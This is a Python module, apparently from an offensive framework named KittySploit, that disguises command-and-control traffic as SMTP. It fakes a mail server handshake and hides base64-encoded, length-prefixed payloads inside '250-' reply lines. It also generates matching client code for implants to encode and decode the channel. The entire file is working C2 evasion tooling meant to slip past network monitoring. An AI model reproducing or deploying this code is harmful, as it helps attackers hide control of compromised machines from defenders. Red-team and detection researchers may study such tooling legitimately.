SMTP Mimic Transform
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import base64
import struct
from typing import Optional
from kittysploit import *
# SMTP handshake: server greeting + EHLO response
SMTP_SERVER_GREETING = b"220 localhost ESMTP KittySploit\r\n"
SMTP_SERVER_EHLO_RESPONSE = (
b"250-localhost Hello\r\n"
b"250-SIZE 52428800\r\n"
b"250 PIPELINING\r\n"
)
# Client sends EHLO (handshake)
SMTP_CLIENT_EHLO = b"EHLO localhost\r\n"
# Max line length for base64 (SMTP line ~998, we use 76 like MIME)
B64_LINE_LEN = 76
CRLF = b"\r\n"
class Module(Transform):
SUPPORTED_CLIENT_LANGUAGES = ["python"]
__info__ = {
"name": "SMTP Mimic Transform",
"description": "Simulates SMTP handshake (220/EHLO/250) then wraps C2 in SMTP-like base64 lines.",
"author": "KittySploit Team",
"version": "1.0.0",
}
_decode_buffer = None
_first_encode_done = False
_decode_b64_buffer = None
def _encode_frame(self, payload: bytes) -> bytes:
"""Frame: 4-byte big-endian length + payload, base64, split into 250-/250 lines."""
if not payload:
return b""
length = struct.pack(">I", len(payload))
b64 = base64.b64encode(length + payload).decode("ascii")
lines = []
i = 0
while i < len(b64):
chunk = b64[i : i + B64_LINE_LEN]
i += B64_LINE_LEN
prefix = b"250-" if i < len(b64) else b"250 "
lines.append(prefix + chunk.encode("ascii") + CRLF)
return b"".join(lines)
def encode(self, data: bytes, offset: int = 0) -> bytes:
"""First call: prepend SMTP server handshake then frame. Next: frame only."""
if not data:
return data
out = []
if not self._first_encode_done:
out.append(SMTP_SERVER_GREETING)
out.append(SMTP_SERVER_EHLO_RESPONSE)
self._first_encode_done = True
out.append(self._encode_frame(data))
return b"".join(out)
def decode(self, data: bytes, offset: int = 0) -> bytes:
"""Parse SMTP-like lines; skip handshake (EHLO/220/250), return decoded payloads from 250-/250 lines."""
if not data:
return data
if self._decode_buffer is None:
self._decode_buffer = bytearray()
if self._decode_b64_buffer is None:
self._decode_b64_buffer = bytearray()
self._decode_buffer.extend(data)
out = []
while True:
idx = self._decode_buffer.find(b"\r\n")
if idx == -1:
idx = self._decode_buffer.find(b"\n")
if idx == -1:
break
if self._decode_buffer.find(b"\r\n") == idx:
line_len = idx + 2
else:
line_len = idx + 1
line = bytes(self._decode_buffer[:line_len])
del self._decode_buffer[:line_len]
line_stripped = line.strip()
if line_stripped.startswith(b"EHLO ") or line_stripped.startswith(b"HELO ") or line_stripped.startswith(b"220 "):
continue
if line_stripped.startswith(b"250-"):
self._decode_b64_buffer.extend(line_stripped[4:])
continue
if line_stripped.startswith(b"250 "):
self._decode_b64_buffer.extend(line_stripped[4:])
try:
b64_joined = self._decode_b64_buffer.decode("ascii")
raw = base64.b64decode(b64_joined)
if len(raw) >= 4:
length = struct.unpack(">I", raw[:4])[0]
if 0 <= length <= len(raw) - 4 and length <= 1024 * 1024:
out.append(raw[4 : 4 + length])
except Exception:
pass
self._decode_b64_buffer.clear()
return b"".join(out)
def generate_client_code(self, language: str) -> Optional[str]:
"""Generate Python: send EHLO once, then _xf_encode (frame as 250- lines), _xf_decode (parse 250- lines)."""
if language != "python":
return None
ehlo_hex = SMTP_CLIENT_EHLO.hex()
return (
"_xf_buf=bytearray()\n"
"_xf_b64_buf=bytearray()\n"
"_xf_ehlo=bytes.fromhex('" + ehlo_hex + "')\n"
"def _xf_send_handshake(sock):\n"
" sock.sendall(_xf_ehlo)\n"
"def _xf_encode(d):\n"
" import base64,struct\n"
" if not d: return d\n"
" L=struct.pack('>I',len(d)); b=base64.b64encode(L+d).decode('ascii')\n"
" out=[]; i=0\n"
" while i<len(b):\n"
" c=b[i:i+76]; i+=76\n"
" p=b'250-' if i<len(b) else b'250 '\n"
" out.append(p+c.encode('ascii')+b'\\r\\n')\n"
" return b''.join(out)\n"
"def _xf_decode(d):\n"
" import base64,struct\n"
" _xf_buf.extend(d)\n"
" out=[]\n"
" while True:\n"
" i=_xf_buf.find(b'\\r\\n')\n"
" if i==-1: i=_xf_buf.find(b'\\n')\n"
" if i==-1: break\n"
" line=bytes(_xf_buf[:i+2 if _xf_buf[:i+2].endswith(b'\\r\\n') else i+1]); del _xf_buf[:len(line)]\n"
" line=line.strip()\n"
" if line.startswith(b'220 ') or line.startswith(b'EHLO') or line.startswith(b'HELO'): continue\n"
" if line.startswith(b'250-'): _xf_b64_buf.extend(line[4:]); continue\n"
" if line.startswith(b'250 '):\n"
" _xf_b64_buf.extend(line[4:])\n"
" try:\n"
" raw=base64.b64decode(_xf_b64_buf.decode('ascii'))\n"
" if len(raw)>=4:\n"
" ln=struct.unpack('>I',raw[:4])[0]\n"
" if ln<=len(raw)-4: out.append(raw[4:4+ln])\n"
" except: pass\n"
" _xf_b64_buf.clear()\n"
" return b''.join(out)\n"
)
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